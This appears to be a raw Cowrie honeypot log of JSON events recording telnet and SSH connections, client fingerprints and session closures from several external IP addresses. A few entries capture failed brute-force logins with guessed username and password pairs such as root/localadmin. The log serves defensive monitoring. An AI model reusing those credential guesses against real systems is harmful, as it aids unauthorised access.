{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36458,"dst_ip":"10.17.0.5","dst_port":23,"session":"d84deea0982f","protocol":"telnet","message":"New connection: 64.227.101.30:36458 (10.17.0.5:23) [session: d84deea0982f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:06.851551Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34520,"dst_ip":"10.17.0.5","dst_port":23,"session":"8840d82359f8","protocol":"telnet","message":"New connection: 64.227.101.30:34520 (10.17.0.5:23) [session: 8840d82359f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:08.286082Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52914,"dst_ip":"159.203.135.109","dst_port":23,"session":"83a7526b36a7","protocol":"telnet","message":"New connection: 161.97.105.174:52914 (159.203.135.109:23) [session: 83a7526b36a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:09.488968Z"}
{"eventid":"cowrie.session.closed","duration":1.5240628719329834,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:09.810054Z","src_ip":"64.227.101.30","session":"8840d82359f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37480,"dst_ip":"10.17.0.5","dst_port":23,"session":"8902bcdaac07","protocol":"telnet","message":"New connection: 64.227.101.30:37480 (10.17.0.5:23) [session: 8902bcdaac07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:09.859880Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38338,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2d58a55c6f2","protocol":"telnet","message":"New connection: 64.227.101.30:38338 (10.17.0.5:23) [session: b2d58a55c6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:10.627963Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52918,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7e059aca8b1","protocol":"telnet","message":"New connection: 161.97.105.174:52918 (159.203.135.109:23) [session: d7e059aca8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:11.707999Z"}
{"eventid":"cowrie.session.closed","duration":38.146470069885254,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:16.172255Z","src_ip":"64.227.101.30","session":"c1250e476c60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.11016082763672,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:17.988230Z","src_ip":"161.97.105.174","session":"943ca7c46cd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52934,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e7cdd17ed91","protocol":"telnet","message":"New connection: 161.97.105.174:52934 (159.203.135.109:23) [session: 3e7cdd17ed91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:18.187996Z"}
{"eventid":"cowrie.session.closed","duration":32.75693988800049,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:19.808426Z","src_ip":"161.97.105.174","session":"bf82e13dd749","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":35404,"dst_ip":"10.17.0.5","dst_port":22,"session":"761879e92b6e","protocol":"ssh","message":"New connection: 209.99.189.174:35404 (10.17.0.5:22) [session: 761879e92b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:21.756706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:21.765102Z","src_ip":"209.99.189.174","session":"761879e92b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.83635711669922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:21.779591Z","src_ip":"161.97.105.174","session":"28b5d4abaf3e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:21.893725Z","src_ip":"209.99.189.174","session":"761879e92b6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"utnubu","message":"login attempt [ubuntu/utnubu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:22.440686Z","src_ip":"209.99.189.174","session":"761879e92b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:23.572678Z","src_ip":"209.99.189.174","session":"761879e92b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.025686264038086,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:24.022087Z","src_ip":"161.97.105.174","session":"81a2335af3d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46528,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ba9e4671d0e","protocol":"telnet","message":"New connection: 64.227.101.30:46528 (10.17.0.5:23) [session: 4ba9e4671d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:24.283562Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38288,"dst_ip":"159.203.135.109","dst_port":23,"session":"40ca877fe024","protocol":"telnet","message":"New connection: 161.97.105.174:38288 (159.203.135.109:23) [session: 40ca877fe024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:29.105478Z"}
{"eventid":"cowrie.session.closed","duration":32.145203828811646,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:29.199149Z","src_ip":"161.97.105.174","session":"0e8b7cb96d17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38292,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9cf28836138","protocol":"telnet","message":"New connection: 161.97.105.174:38292 (159.203.135.109:23) [session: b9cf28836138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:29.330033Z"}
{"eventid":"cowrie.session.closed","duration":34.99172902107239,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:31.304759Z","src_ip":"161.97.105.174","session":"741e1b8a3a76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38302,"dst_ip":"159.203.135.109","dst_port":23,"session":"5607596a37f9","protocol":"telnet","message":"New connection: 161.97.105.174:38302 (159.203.135.109:23) [session: 5607596a37f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:34.872391Z"}
{"eventid":"cowrie.session.closed","duration":37.325236797332764,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:41.159360Z","src_ip":"64.227.101.30","session":"a504831442b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.8125274181366,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:42.301396Z","src_ip":"161.97.105.174","session":"83a7526b36a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79269790649414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:42.500558Z","src_ip":"161.97.105.174","session":"d7e059aca8b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53342,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ebff494e40","protocol":"telnet","message":"New connection: 64.227.101.30:53342 (10.17.0.5:23) [session: 63ebff494e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:45.340451Z"}
{"eventid":"cowrie.session.closed","duration":39.07861542701721,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:45.930065Z","src_ip":"64.227.101.30","session":"d84deea0982f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.83636689186096,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:47.464037Z","src_ip":"64.227.101.30","session":"b2d58a55c6f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57552,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaf8388e4e0d","protocol":"telnet","message":"New connection: 64.227.101.30:57552 (10.17.0.5:23) [session: aaf8388e4e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:49.899248Z"}
{"eventid":"cowrie.session.closed","duration":33.774210929870605,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:51.961815Z","src_ip":"161.97.105.174","session":"3e7cdd17ed91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":57384,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe40a804b80c","protocol":"telnet","message":"New connection: 74.208.239.44:57384 (159.203.135.109:23) [session: fe40a804b80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:52.377614Z"}
{"eventid":"cowrie.session.closed","duration":44.0452880859375,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:53.904912Z","src_ip":"64.227.101.30","session":"8902bcdaac07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47800,"dst_ip":"159.203.135.109","dst_port":23,"session":"68bc0ebb3c06","protocol":"telnet","message":"New connection: 161.97.105.174:47800 (159.203.135.109:23) [session: 68bc0ebb3c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:54.265690Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47814,"dst_ip":"159.203.135.109","dst_port":23,"session":"0385670625c5","protocol":"telnet","message":"New connection: 161.97.105.174:47814 (159.203.135.109:23) [session: 0385670625c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:54.880245Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59164,"dst_ip":"10.17.0.5","dst_port":23,"session":"781c22d97276","protocol":"telnet","message":"New connection: 64.227.101.30:59164 (10.17.0.5:23) [session: 781c22d97276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:56.099389Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47828,"dst_ip":"159.203.135.109","dst_port":23,"session":"e67bb62d3846","protocol":"telnet","message":"New connection: 161.97.105.174:47828 (159.203.135.109:23) [session: e67bb62d3846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:56.806784Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":34978,"dst_ip":"10.17.0.5","dst_port":22,"session":"77ad2d66802a","protocol":"ssh","message":"New connection: 103.170.173.26:34978 (10.17.0.5:22) [session: 77ad2d66802a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:58.038424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:58.043124Z","src_ip":"103.170.173.26","session":"77ad2d66802a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:58.307685Z","src_ip":"103.170.173.26","session":"77ad2d66802a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55806,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c673f420be0","protocol":"telnet","message":"New connection: 161.97.105.174:55806 (159.203.135.109:23) [session: 9c673f420be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:58.766745Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"localadmin","message":"login attempt [root/localadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:59.396923Z","src_ip":"103.170.173.26","session":"77ad2d66802a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55818,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3f222e0628d","protocol":"telnet","message":"New connection: 161.97.105.174:55818 (159.203.135.109:23) [session: a3f222e0628d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:59.752722Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:00.664860Z","src_ip":"103.170.173.26","session":"77ad2d66802a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.55547094345093,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:01.885360Z","src_ip":"161.97.105.174","session":"b9cf28836138","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34882,"dst_ip":"10.17.0.5","dst_port":23,"session":"17188066b86c","protocol":"telnet","message":"New connection: 64.227.101.30:34882 (10.17.0.5:23) [session: 17188066b86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:04.063943Z"}
{"eventid":"cowrie.session.closed","duration":35.3342707157135,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:04.439627Z","src_ip":"161.97.105.174","session":"40ca877fe024","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33060,"dst_ip":"159.203.135.109","dst_port":23,"session":"386a1190ef4c","protocol":"telnet","message":"New connection: 161.97.105.174:33060 (159.203.135.109:23) [session: 386a1190ef4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:11.003296Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":44484,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e7f4cb1de32","protocol":"ssh","message":"New connection: 209.99.189.174:44484 (10.17.0.5:22) [session: 5e7f4cb1de32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:11.012746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:11.018357Z","src_ip":"209.99.189.174","session":"5e7f4cb1de32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:11.148272Z","src_ip":"209.99.189.174","session":"5e7f4cb1de32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.28540921211243,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:11.568810Z","src_ip":"64.227.101.30","session":"4ba9e4671d0e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user3","password":"password","message":"login attempt [user3/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:11.695277Z","src_ip":"209.99.189.174","session":"5e7f4cb1de32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.97768568992615,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:11.849941Z","src_ip":"161.97.105.174","session":"5607596a37f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:12.829129Z","src_ip":"209.99.189.174","session":"5e7f4cb1de32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33062,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3c9c74fd9a4","protocol":"telnet","message":"New connection: 161.97.105.174:33062 (159.203.135.109:23) [session: d3c9c74fd9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:13.891615Z"}
{"eventid":"cowrie.session.closed","duration":34.1082820892334,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:19.448598Z","src_ip":"64.227.101.30","session":"63ebff494e40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39384,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd43242a26a7","protocol":"telnet","message":"New connection: 64.227.101.30:39384 (10.17.0.5:23) [session: fd43242a26a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:20.187253Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60664,"dst_ip":"10.17.0.5","dst_port":22,"session":"28f897e9fba1","protocol":"ssh","message":"New connection: 193.32.162.145:60664 (10.17.0.5:22) [session: 28f897e9fba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:20.512676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:20.517719Z","src_ip":"193.32.162.145","session":"28f897e9fba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:20.620413Z","src_ip":"193.32.162.145","session":"28f897e9fba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"moonbeam","message":"login attempt [ubuntu/moonbeam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:20.983552Z","src_ip":"193.32.162.145","session":"28f897e9fba1","protocol":"ssh"}
